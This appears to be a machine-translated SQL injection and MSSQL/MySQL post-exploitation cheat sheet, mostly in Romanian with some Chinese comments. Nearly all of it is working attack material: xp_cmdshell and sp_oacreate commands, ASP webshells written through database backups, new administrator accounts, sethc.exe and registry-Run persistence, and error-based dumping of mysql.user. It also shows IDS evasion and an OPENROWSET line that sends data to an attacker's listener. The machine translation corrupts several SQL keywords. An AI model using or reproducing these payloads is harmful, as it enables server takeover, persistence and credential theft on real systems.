Conținut ; inserați în temp(id) exec master.dbo.xp_blank>_cmdshell dir: c:\; – ; inserați în temp(id) exec master.dbo.xp_blank>_cmdshell dir: c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; inserează în temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Autoritatea aplicabilă
PUBLIC) Scrie la masă: afirmația 1: și 1=(Selectează IS_blank>_SRVROLEMEMBER(sysadmin)); – Afirmația 2: și 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin)); – Afirmația 3: și 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin)); – Afirmația 4: și 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); – Afirmația 5: și 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); – Afirmația 6: și 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin)); – Afirmația 7: și 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin)); – Afirmația 8: și 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin)); – Afirmația 9: și 1=(Selectează IS_blank>_MEMBER(db_blank>_owner)); –
Scrie calea către tabel: ; create table dirs(paths varchar(100), id int)– ; inserați dirs exec master.dbo.xp_blank>_dirtree c:\– și 0<>(selectează căile top 1 din direcții)– și 0<>(selectează căile top 1 din direcții unde căile care nu sunt în(@Inetpub))– ; Create Table dirs1(paths varchar(100), id int)– ; inserează regii executive master.dbo.xp_blank>_dirtree e:\web– și 0<>(selectează căile top 1 din dirs1)–
Face backup _blank> bază de date într-un director web: Descarcă ; declarați @a sysname; set @a=db_blank>_name(); baza de date de backup @a pe disc=e:\web\down.bak; –
și 1=(Selectează numele top 1 din(Selectează top 12 id, nume din sysobjects unde xtype=char(85)) T
Comandă de ID Desc) și 1=(Selectează Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) din sysobjects) Vezi și
Tabele conexe. și 1=(selectează user_blank>_id din USER_blank>_LOGIN) și 0=(selectează utilizatorul din USER_blank>_LOGIN unde utilizatorul>1)
-=- wscrip{filter}t.shell exemplu -=- declară @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
declară @o int, @f int, @t int, @ret int declară @line Varchar (8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, OpenTextFile, @f Out, C:\boot.ini, 1 Exec @ret = sp_blank>_oamethod @f, readline, @line out în timp ce ( @ret = 0 ) Încep Tipărirea @line Exec @ret = sp_blank>_oamethod @f, readline, @line out Sfârșit
declară @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
declară @o int, @ret int executiv sp_blank>_oacreate speech.voicetext, @o încheiat exec sp_blank>_oamethod @o, register, NULL, foo, bar Executiv sp_blank>_oasetproperty @o, viteză, 150 exec sp_blank>_oamethod @o, vorbește, NULL, toate serverele tale sequel aparțin a,us, 528 așteptare întârziere 00:00:05
; declară @o INT, @ret INT executiv sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, vorbește, NULL, toate serverele tale sequel ne aparțin, 528 așteptare întârziere
00:00:05–
xp_blank>_dirtree permisiunea PUBLICĂ aplicabilă exsecuție master.dbo.xp_blank>_dirtree c: Informațiile returnate au două câmpuri: subdirector, adâncime. Câmpurile subdirectorului
Tipul personajului, câmpul de adâncime este câmpul de modelare. Create Table dirs(paths varchar(100), id int) Structura tabelului, tabelul creat aici este legat de xp_blank>_dirtree de mai sus, cu câmpuri egale și același tip. insert dirs exec master.dbo.xp_blank>_dirtree c: Atâta timp cât construim un tabel și definim în mod egal câmpurile returnate de procesul de stocare
Executați! Pentru a obține efectul scrierii tabelelor, pas cu pas pentru a obține informațiile pe care le dorim! Această injecție de eroare se bazează în principal pe depășirea tipurilor de date Mysql mysql > SELECT 18446744073709551610 * 2 ; EROARE 1690 (22003): Valoarea BIGINT NESEMNATĂ este în afara intervalului în '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; EROARE 1690 (22003): BIGINT Valoarea NESEMNATĂ este în afara intervalului în '(- (1) *
9223372036854775808)' Versiunea bazei de date de interogare: mysql> SELECT * 2 (dacă (((SELECT * din (SELECT (versiunea ()) ) s), 18446744073709551610,
18446744073709551610)); EROARE 1690 (22003): Valoarea BIGINT UNSIGNED este în afara intervalului în '(2 * if (( Select ' 5.5 ' de la
Dual), 18446744073709551610.18446744073709551610))' Obține numele domeniului: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) ca '' limit 1)>(SELECT * de la
test.shop limită 1), 18446744073709551610, 18446744073709551610);
EROARE 1690 (22003): Valoarea BIGINT UNSIGNED este în afara intervalului în '(2 * if(((select
'articol', 'dealer', 'preț' de la (selectează 'test'.'shop'.'article' AS
'articol', 'test'.'magazin'.'dealer' AS 'dealer','test'.'shop'.'price' AS 'price' de la
'test'.'shop') limită 1) > (select
'test'.'magazin'.'articol','test'.'magazin'.'dealer','test'.'magazin'.'preț' de la 'test'.'magazin' limită
1)),18446744073709551610,18446744073709551610))' Obține valoarea terenului:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) ca '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
EROARE 1690 (22003): Valoarea BIGINT UNSIGNED este în afara intervalului în '(2 * if(((select
'localhost','root','*','Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y',
Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '0', '0', '0', '0', '','', de la limita dublă 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Rețineți că această metodă nu funcționează cu versiunile mai vechi de Mysql și va trebui să cunoașteți limita de lungime a mesajului de eroare, deoarece aceasta va determina
Poți obține cât timp vrei: mysys / my_error.c
/* Lungimea maximă a unui mesaj de eroare. Ar trebui să fie menținut sincronizat cu MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Dacă obiectul este MariaDB (un fork al Mysql), s-ar putea să vezi un mesaj de eroare ca acesta când încerci metoda de mai sus:
mysql> SELECT 2*(if((SELECT * din (SELECT (versiune)))), 18446744073709551610,
18446744073709551610)) ERAREA 1690 (22003): Valoarea BIGINT UNSIGNED este în afara intervalului în '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Ca soluție, această problemă poate fi rezolvată astfel:
mysql> SELECT (I IS NOT NULL) - -9223372036854775808 FROM (SELECT (versiune())i)a; EROARE 1690 (22003): Valoarea BIGINT este în afara intervalului în '(('5.5-MariaDB' nu este nul) - -
(9223372036854775808))' Acum să vedem dacă putem face Vectorul nostru puțin mai scurt
//查询数据库版本
SELECT 2*(if((SELECT * din (SELECT (versiune)))), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (I NU ESTE NUL) - -9223372036854775808 DE LA (SELECT (versiune())i)a = select if(x,2,2)*1E308 din(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) ca '' limit 1)>(SELECT * from
test.shop limită 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) ca '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
limită de utilizator mysql.0),2,2)
//获取指定字段的值 select 1E308*if((select user|| gazdă|| parolă|| file_priv de la (select*from mysql.user LIMIT
1) o limită 1),2,2)
//获取字段个数
select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Alte deformări
SELECT (I NU ESTE NUL) - -9223372036854775808 DE LA (SELECT (versiune())i)a select 1E308*if((select user|| gazdă|| parolă|| file_priv de la (select*from mysql.user LIMIT
1) o limită 1),2,2); => select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); mysql> selectează (selectează * din mysql.user)=1; mysql> selectează (selectează * din mysql.user)in(1);
ERAREA 1241 (21000): Operandul ar trebui să conțină 42 de coloane select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); select if((select user|| gazdă|| parolă|| file_priv de la (select*from mysql.user LIMIT 1)a
limită 1),2,2)*1E308 SELECT (I NU ESTE NUL) - -9223372036854775808 DE LA (SELECT (versiune())i)a select (x!=0x00)--9223372036854775808 din(SELECT versiunea()x)y mysql> select!x-~0.FROM(select+user()x)f; EROARE 1690 (22003): BIGINT VALOAREA NESEMNATĂ este în afara intervalului în '((not('root@localhost')) - ~
(0))' 3. Judecați sistemul de baze de date ; și (select count(*) din sysobjects)>0 mssql ; și (select count(*) din msysobjects)>0 acces 4. Parametrul de injecție este un caracter 'și [criterii de interogare] și ''=' 5. Nu există parametri filtrați în timpul căutării 'și [criterii de interogare] și '%25'=' 6. Ghicește baza de date ; și (selectează Count(*) din [numele bazei de date])>0 7. Ghicește câmpul ; și (selectează Count(numele câmpului) din numele bazei de date)>0 8. Ghicește lungimea discului pe teren ; și (selectează top 1 LEN (numele câmpului) din numele bazei de date)>0 9. (1) Ghicește valoarea ASCII a câmpului (acces) ; și (selectează top 1 asc(mid(numele câmpului, 1,1)) din numele bazei de date)>0 (2) Ghicește valoarea ASCII a câmpului (mssql) ; și (selectează top 1 unicode(substring(numele câmpului, 1,1)) din numele bazei de date)>0 10. Structura permisiunilor de testare (mssql) ; și 1=(selectează IS_SRVROLEMEMBER('sysadmin')); -- ; și 1=(selectează IS_SRVROLEMEMBER('serveradmin')); -- ; și 1=(selectează IS_SRVROLEMEMBER('setupadmin')); -- ; și 1=(selectează IS_SRVROLEMEMBER('securityadmin')); -- ; și 1=(selectează IS_SRVROLEMEMBER('diskadmin')); -- ; și 1=(selectează IS_SRVROLEMEMBER('bulkadmin')); -- ; și 1=(selectează IS_MEMBER('db_owner')); -- 11. Adăugarea unui cont pentru mssql și sistem ; numele de utilizator master.dbo.sp_addlogin executiv; -- ; exec master.dbo.sp_password null, username, parolă; -- ; nume de utilizator de administrator master.dbo.sp_addsrvrolemember executiv; -- ; EXEC master.dbo.xp_cmdshell 'WEB username password /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; Exec master.dbo.xp_cmdshell 'WEB User Name Parolă /Add'; -- ; exec master.dbo.xp_cmdshell 'Administrator Net LocalGroup UserName /Add'; -- 12. (1) Parcurge catalogul ; Create Table dirs(paths varchar(100), id int) ; Inserați directorii executivi master.dbo.xp_dirtree 'C:\' ; și (selectează căile top 1 din direcții)>0 ; și (selectați căile top 1 din direcții unde căile care nu sunt în ('căi obținute din pasul anterior)))>) (2) Parcurge catalogul ; creează temperatura tabelului (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; inserați executivul temporar master.dbo.xp_availablemedia; -- Ia toate unitățile curente ; inserați în temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Obține o listă cu subdirectoarele ; inserați în temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Obține structura arborelui de directoare pentru toate subdirectoarele ; inserați în temp(id) exec master.dbo.xp_cmdshell 'Type C:\web\index.asp'; -- Vizualizarea conținutului fișierului 13. Proceduri stocate în mssql xp_regenumvalues Cheia rădăcină a registrului, cheia copil ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' și altele
Metoda recordet-ului pentru a returna toate valorile cheie xp_regread Cheia rădăcină, cheia copil, numele cheie-valoare ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' returnează valoarea cheii de formulare xp_regwrite Cheia rădăcină, cheia copil, numele valorii, tipul valorii, valoarea Există două tipuri de valori REG_SZ REG_DWORD pentru tipurile de caractere și pentru numere întregi ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' sunt scrise în registru xp_regdeletevalue Cheia rădăcină, subcheia, numele valorii executive xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' pentru a elimina o valoare xp_regdeletekey tasta 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' șterge,
Include toate valorile sub acea cheie 14. MSSQL Backup creează un webshell Folosește modelul Create Table cmd(str image); inserați în cmd(str) valori ('<% Dim oscrip{filter}t %>'); Backup model de bază de date pe disc='c:\l.asp'; 15. Funcții încorporate MSSQL ; și (selectează @@version)>0 pentru a obține numărul versiunii de Windows ; și user_name()='dbo' pentru a determina dacă utilizatorul conectat al sistemului curent este SA ; și (selectează user_name())>0 A explodat utilizatorii conectați ai sistemului curent ; și (selectați db_name())>0 pentru a obține baza de date conectată în prezent 16. Webshell concis Folosește modelul Create Table cmd(str image); inserează în cmd(str) valori ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); Backup model de bază de date pe disc='g:\wwwtest\l.asp'; Când ceri, folosește ceva de genul acesta:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Obține toate numele bazelor de date, inclusiv bazele de date ale sistemului –SELECT numele FROM master.dbo.sysdatabases
– Obține toate numele bazelor de date non-sistemului –selectează [nume] din master.dbo.sysdatabases unde DBId>6 Ordonează după [Nume]
– Obține toate informațiile, inclusiv adresa fișierului din baza de date –select * din master.dbo.sysdatabases unde DBId>6 Ordonează după
[Nume]
Această interogare a instrucțiunilor returnează toate tabelele utilizatorilor
selectează * din sysobjects unde xtype='u'
Interoghează toate informațiile din tabelele de date din sistem
selectează * din sysobjects
Uită-te la numele mașinii select * din sys.servers
Cuprinsul coloanelor Executiv master.dbo.xp_subdirs 'C:\'
Executiv master.dbo.xp_dirtree 'C:',1,1 db_owner Permisiunile pot fi aplicate
executiv master.dbo.xp_dirtree 'c:/Program Files',1,1
Cod de program, scris pe webshell
executiv master.dbo.xp_subdirs 'd:\web\www.xx.com'; Executiv sp_makewebtask 'd:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Execută-l pe maestre.. xp_enumgroups
Utilizatori ai sistemului Traverse
Execută-l pe maestre.. xp_getnetname Obține numele actual al mașinii
--Listează unitățile fixe de pe server, împreună cu spațiul disponibil pentru fiecare unitate dbo public
executare
xp_ntsec_enumdomains
-- Creează un cont pentru a te conecta la MSSQL Numele master.dbo.sp_addlogin executiv, Pass; --
-- Listează numele de domeniu al serverului xp_ntsec_enumdomains // Nume de mașină //dbo public
-- Oprește sau pornește un serviciu xp_servicecontrol 'stop', 'schedule' //schedule este numele serviciului //dbo
--Folosește pid
Oprirea unui program care se execută xp_terminate_process 123 //123 este PID-ul //dbo
-- Sunt listate doar subdirectoarele dintr-un director dbo.xp_subdirs 'C:' //dbo
SQL Server Metoda de deschidere a xp_cmdshell în 2005 EXECUTIVE sp_configure 'afișează opțiuni avansate', 1; RECONFIGUREAZĂ; EXECUTIV
sp_configure 'xp_cmdshell', 1; RECONFIGUREAZĂ;
SQL2005 Deschide 'OPENROWSET' Metode suportate: Executiv sp_configure 'Afișează opțiuni avansate', 1; RECONFIGUREAZĂ; executiv sp_configure 'Ad Hoc
Interogări distribuite',1; RECONFIGUREAZĂ;
SQL2005 pentru a permite suportul "sp_oacreate": Executiv sp_configure 'Afișează opțiuni avansate', 1; RECONFIGUREAZĂ; Executiv
sp_configure 'Proceduri vechi de automatizare',1; RECONFIGURARE
Cum să activezi xp_cmdshell în SQL Server 2008
-- Pentru a permite schimbarea opțiunilor avansate. EXECUTIV
sp_configure 'afișează opțiuni avansate', 1 DU-TE -- Pentru a actualiza valoarea configurată în prezent pentru
Opțiuni avansate. RECONFIGURARE DU-TE -- Pentru a activa funcția. EXECUTIV sp_configure 'xp_cmdshell', 1 DU-TE -- Către
Actualizează valoarea configurată în prezent pentru această funcție. RECONFIGURARE DU-TE
exec xp_cmdshell 'ipconfig'
Astăzi, am vrut să schimb parola de autentificare SA a serverului de baze de date, dar am uitat brusc, așa că a trebuit să deschid analizorul de interogări cu ajutorul altor conturi pentru a schimba parola SA
Este foarte simplu:
Execuție: sp_password Null, 'teracypwd', 'sa' Setează parola SA la "teracypwd"
După execuția cu succes
Există "Comanda(e) finalizate cu succes." OK!
În permisiunea DB, separă metoda de obținere a IP-ului serverului de bază de date MSSQL
1. NC local ascultă NC - VVLP 80
2.; inserează în
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Adresă=IP-ul tău, 80; ', 'selectează * de la
dest_table') selectează * din src_table; --
selectează * din openrowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','selectează utilizatorul; ')
Import și export de baze de date
/*不同服务器数据库之间的数据操作*/
--Creează server de legătură Executiv sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Nume server la distanță sau adresă IP' executiv sp_addlinkedsrvlogin 'ITSV', 'fals
',null, 'username', 'parolă'
--exemplu de interogare select * din ITSV.database name.dbo.table name
--exemplu de import selectează *
în tabel din ITSV.databasename.dbo.tablename
--Șterge serverul legat dacă acesta nu va mai fi folosit în viitor executiv sp_dropserver 'ITSV',
"droplogins"
-- Conectarea la date remote/LAN (openrowset/openquery/opendatasource) --1、openrowset
--exemplu de interogare selectează *
from openrowset( 'SQLOLEDB', 'nume server SQL'; "Nume de utilizator"; 'parolă', nume baza de date.dbo.numele tabelului)
-- Generează un tabel local selectează * în tabel din openrowset( 'SQLOLEDB', 'SQL Server Name'; "Nume de utilizator"; 'Parolă', număr
Conform numelui bazei de date.dbo. numele tabelului)
-- Importă tabelul local în tabelul de la distanță inserează openrowset( 'SQLOLEDB', 'nume server SQL'; "Nume de utilizator"; "Parole", baze de date
name.dbo.table name) selectează *din tabelul local
-- Actualizarea tabelelor locale Actualizare B setarea b. coloana A = a from openrowset( 'SQLOLEDB', 'nume server SQL'; "Nume de utilizator"; '
parolă ', numele bazei de date .dbo.table name) ca tabelă locală Inner Join B pe a.coloană1=b.coloană1
--openquery Utilizarea necesită crearea unei conexiuni
--Mai întâi, creează o conexiune pentru a crea un server de legături executiv sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'nume server la distanță sau adresă IP' --Întreabă selectează * FROM OpenQuery(ITSV, 'SELECT * FROM date
library.dbo.table name ') -- Importă tabelul local în tabelul de la distanță inserează openquery(ITSV, 'SELECT * FROM database.dbo.table name') selectează * din local
Tabel --actualizează tabelul local Actualizare B setarea b. coloana B=a FROM OpenQuery(ITSV, 'SELECT * FROM database.dbo.tablename')
ca un tabelul local de jungere interioară b pe a. coloana A=b. coloana A
--3、OpenDataSource/OpenRowSet SELECT * DE LA
opendatasource( 'SQLOLEDB', 'Data Source=ip/NumeServer; ID utilizator=Nume de autentificare; Parolă=Parolă '
).test.dbo.roy_ta -- Importă tabelul local în tabelul de la distanță
Ștergerea și restaurarea xp_cmdshell
Modalități de recuperare xp_cmdshell Șterge procedura extinsă stocată xp_cmdshell
Enunțat Executiv sp_dropextendedproc 'xp_cmdshell'
Recuperează instrucțiunea sql a cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Executiv
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; select count(*) de la
master.dbo.sysobjects unde xtype='x' și Rezultatul de retur este 1 și este OK
Altfel, trebuie să încarci c:\inetput\web
\xplog70.dll mai târziu Executiv master.dbo.sp_addextendedproc 'xp_cmdshell', 'c:\inetput\web\xplog70.dll
’; --
Dacă îl ștergi în următorul mod Procedura de sp_addextendedproc Procedura de cădere sp_oacreate Executiv
sp_dropextendedproc 'xp_cmdshell'
O poți restaura cu următoarea afirmație DBCC AddExtendedProc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
Astfel, poate fi restaurat direct, indiferent dacă sp_addextendedproc există sau nu
1、 Folosește xp_cmdshell: Exec master.dbo.xp_cmdshell "Administrator Administrator Utilizator Net / Add" Executiv
master.dbo.xp_cmdshell "administratori de grup local net admin /add"
În xp_cmdshell caz, folosește sp_oacreate pentru a urma sp_oamethod: declare @object int Executiv
sp_oacreate 'wscrip{filter}t.Shell', @object out sp_oamethod executiv
@object,'Run',NULL,'administrator utilizator net admin /add' exec sp_oamethod @object,'Run',NULL,'net
localgroup Administratori admin /add'
Notă: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Folosește sp_oacreate și FSO declară @o int Executiv sp_oacreate
'scrip{filter}ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; declară @oo int Executiv
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out Executiv sp_oamethod @oo,
'copyfile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dll cache\sethc.exe';
Folosește xp_regwrite (db_owner, repornire necesară): master.dbo.xp_regwrite executiv
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd1','reg_sz','admin utilizator net admin /add' master.dbo.xp_regwrite executiv
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administratori admin /add' 5. Folosiți sp_add_job: Executiv
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Folosește MSDB Executive sp_delete_job
null,'x' Executiv sp_add_job 'X' sp_add_jobstep executiv
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add' Executiv sp_add_jobserver
Null, 'x', @@servername exec sp_start_job 'x'
Mulți SA au reușit în multe mașini folosind direct modul sandbox, dar eu nu am exersat niciodată și nu știu care este rata de succes. Când extensia este îndepărtată, mai întâi
Restaurează stocarea de citire și scriere în registru. DBCC AddExtendedProc ('xp_regread','xpstar.dll') dbcc addextendedproc
("xp_regwrite'', 'xpstar.dll')
S-a reparat modul protejat al sandbox-ului Șec Teacher.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0; --
Vezi dacă valoarea 'SandBoxMode' a ajuns la 0.
executiv master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
În final, apelați modul sandbox selectează * din openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
Dacă modul de protecție sandbox nu este "oprit", se raportează o eroare: Chelner: Msg 7357, Nivel 16, Stare 2, Linia 1
Nu am gestionat obiectul 'select shell("cmd.exe /c net user user passwd /add")'. OLE DB oferă programe
Prefața 'microsoft.jet.oledb.4.0' indică faptul că nu există coloane în obiect.
Urmărirea erorilor OLE DB [Eroare non-interfață: furnizorul OLE DB nu poate procesa obiectul, deoarece obiectul
are nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")']。
2、 Dacă .mdb nu există sau calea de intrare este incorectă Chelner: Msg 7399, Nivelul 16, State 1, Linia 1
OLE DB provider 'microsoft.jet.oledb.4.0' eroare. [Furnizorul OLE/DB a returnat mesajul:
Fișierul 'C:\WINDOWS\system32\ias\dnary1.mdb' nu a fost găsit. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returnat
0x80004005: ]。
3. Dacă există mai multe spații în timpul procesului de intrare, va fi raportată și o eroare. Acordă o atenție specială acestui aspect, mulți oameni caută direct articole online
Lipiți-l și executați-l. Chelner: Msg 7357, Nivel 16, Stare 2, Linia 1 A eșuat procesarea obiectului 'select
shell("cmd.exe /c net user user passwd /add")'。 Furnizorul OLE DB 'microsoft.jet.oledb.4.0' afirmă că nu există coloane în obiect.
Urmărirea erorilor OLE DB [Eroare non-interfață: Furnizorul OLE DB nu poate procesa obiectul, deoarece obiectul are
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Dacă permisiunile mdb și permisiunile cmd.exe sunt greșite, problema va apărea și ea. Când permisiunile MDB sunt incorecte, Server: Elimină
Interes 7320, Nivelul 16, Statul 2, Linia 1
Nu putea răspunde Furnizorul OLE DB 'Microsoft.Jet.OLEDB.4.0' execută interogarea. [Furnizorul OLE/DB revenit
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Dacă permisiunea netului este incorectă, nu există niciun prompt.
Ultima modalitate de a crește autoritatea este încărcarea ias.mdb și cmd.exe sistemului sub directorul web actual, net.exe trei fișiere.
Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe utilizator utilizator passwd /add")') Adăugarea cu succes a unui utilizator de calculator.
Divizarea cmdshell ocolește IDS declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' declară
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Editare shift de deturnare a registrului Șec Teacher.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe în'; --
Interoghează serverul de linkuri alege
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,acces la date de la master.dbo.sysservers alege
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,acces la date de la master.dbo.sysservers
Interogă linkserver2 selectează un nume gazdă distinct,db_name(dbid),net_address,loginame,program_name de la
Maestre.. sysprocesses
Interoghează serverul de linkuri și alți utilizatori autentificați select * din [192.168.1.1].master.dbo.syslogins
Interogare linkserver Toate bazele de date select * din linkedSrvWeb.master.dbo.sysdatabases
Efectuează stocare extinsă pe LinkServer Executiv [IP].master.dbo.xp_cmdshell
Interoghează toate tabelele din serverul de linkuri selectează * din [ip].master.dbo.sysobjects
selectează * din openrowset
('sqloledb','server=IP; uid=utilizator; pwd=parolă', 'select @@version')
select * din openquery([LINKSERVER
nume], 'selectează @@version')
select * din openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
select * din openquery(GM_SERVER,'select * din sysobjects unde xtype = (''U'')')
selectează * de la
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
selectează * din openquery(toatdeweb,'select
srvname de la master.dbo.sysservers')
inserează în opendatasource
('sqloledb','server=222.241.95.12; uid=scd; PWD=A123520; database=hack520').hack520.dbo.zhu select
numele de la master.dbo.sysdatabases creează baza de date hack520 Creează TABELUL zhu(numele nvarchar(256)
null); Create TABLE J8(id int NULL, name nvarchar(256) null);
select * din openquery
(toatdeweb, 'setează fmtonly off exec master.dbo.xp_cmdshell ''net user'')
Șec Teacher.. xp_dirtree
'c:\',1,1 Efectuează un director de interogare
executive links.master.. xp_cmdshell 'ipconfig'
select * din openquery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell 'ipconfig /all'')
Conectează mysql Select * din Mem_DB. UserDB.dbo.AdminList
ȘEF EXECUTIV... XP_dirtree 'c:\',1,1
Executiv
master.dbo.xp_cmdshell 'dir'
select count(*) din [indicate] Interoghează câtă dată este în tabelul curent
selectează un nume gazdă distinct,db_name(dbid),net_address,logname,program_name
De la maestru.. sysprocesses
selectează * din gameDB01. Server01.dbo.cabal_character_table unde nume='
Porc
Când o ștergi, spune: Baza de date este folosită și nu poate fi ștearsă.
Apasă pe baza de date pe care vrei să o ștergi pentru a deschide Event Viewer.
Input:
Utilizare
Maestre Du-te Apoi introduceți următoarele: declară @d varchar(8000) Set @d= ' ' selectează @d=@d+ ' ucide
'+cast(spid ca varchar)+char(13) De la maestru.. sysprocesses unde dbid=db_id('numele bibliotecii') exec(@d) -- Folosește cod pentru a șterge mai întâi procesul care se conectează la această bază de date
MSSQL operează Oracle prin LinkServer
1) Instalarea Oracle pe serverul SQL_SERVER 2005
9i client. Să presupunem că instalăm în directorul C:\ora92i\. Dacă D: este o partiție NTFS, trebuie să setezi directorul ORACLE instalat ca fiind cel folosit
Abonații au dreptul să ruleze, să adauge și să șteargă.
2) Configurează fișierul C:\ora92i\network\ADMIN\tnsnames.ora. (Următorul text roșu este un exemplu de configurație)
ORCL=
(DEscrip{filter}tION=.)
